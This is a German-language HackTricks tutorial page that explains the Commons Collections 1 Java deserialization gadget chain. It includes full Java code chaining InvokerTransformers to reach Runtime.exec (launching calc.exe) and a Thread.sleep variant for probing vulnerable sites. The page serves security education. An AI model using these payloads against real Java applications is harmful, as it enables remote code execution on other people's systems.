CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Java Transformers zu Rutime exec()

An mehreren Stellen finden Sie eine Java-Deserialisierungs-Payload, die Transformer aus den Apache Common Collections verwendet, wie die folgende:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Wenn Sie nichts über Java-Deserialisierungs-Payloads wissen, könnte es schwierig sein herauszufinden, warum dieser Code einen Calc ausführt.

Zunächst müssen Sie wissen, dass ein Transformer in Java etwas ist, das eine Klasse empfängt und sie in eine andere transformiert. Es ist auch interessant zu wissen, dass die Payload, die hier ausgeführt wird, äquivalent ist zu:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Oder genauer gesagt, was am Ende ausgeführt wird, wäre:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Wie

Also, wie ist die erste Payload präsentiert, die den "einfachen" Einzeilern entspricht?

Zuerst können Sie in der Payload erkennen, dass eine Kette (Array) von Transformations erstellt wird:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Wenn Sie den Code lesen, werden Sie feststellen, dass Sie, wenn Sie irgendwie die Transformation des Arrays verketten, in der Lage sein könnten, beliebige Befehle auszuführen.

Also, wie werden diese Transformationen verkettet?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Im letzten Abschnitt des Payloads können Sie sehen, dass ein Map-Objekt erstellt wird. Dann wird die Funktion decorate von LazyMap mit dem Map-Objekt und den verketteten Transformatoren ausgeführt. Aus dem folgenden Code können Sie sehen, dass dies dazu führen wird, dass die verketteten Transformatoren im Attribut lazyMap.factory kopiert werden:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Und dann wird das große Finale ausgeführt: lazyMap.get("anything");

Dies ist der Code der get-Funktion:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Und dies ist der Code der transform-Funktion

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Also, denken Sie daran, dass wir innerhalb der factory chainedTransformer gespeichert haben und innerhalb der transform-Funktion alle diese verketteten Transformer durchlaufen und nacheinander ausführen. Das Lustige ist, dass jeder Transformer object als Eingabe verwendet und object die Ausgabe des zuletzt ausgeführten Transformers ist. Daher werden alle Transformationsschritte verkettet ausgeführt, um die bösartige Payload auszuführen.

Zusammenfassung

Am Ende, aufgrund der Art und Weise, wie lazyMap die verketteten Transformer innerhalb der get-Methode verwaltet, ist es, als ob wir den folgenden Code ausführen würden:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Beachten Sie, dass value die Eingabe jeder Transformation und die Ausgabe der vorherigen Transformation ist, was die Ausführung einer Einzeiler ermöglicht:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Beachten Sie, dass hier die Gadgets erklärt wurden, die für die ComonsCollections1 Payload verwendet werden. Aber es bleibt offen, wie das Ganze ausgeführt wird. Sie können hier sehen, dass ysoserial zur Ausführung dieser Payload ein AnnotationInvocationHandler-Objekt verwendet, da dieses Objekt beim Deserialisieren die Funktion payload.get() aufrufen wird, die die gesamte Payload ausführt.

Java Thread Sleep

Diese Payload könnte nützlich sein, um zu identifizieren, ob die Website anfällig ist, da sie eine Pause ausführen wird, wenn dies der Fall ist.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Mehr Gadgets

Sie finden weitere Gadgets hier: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Last updated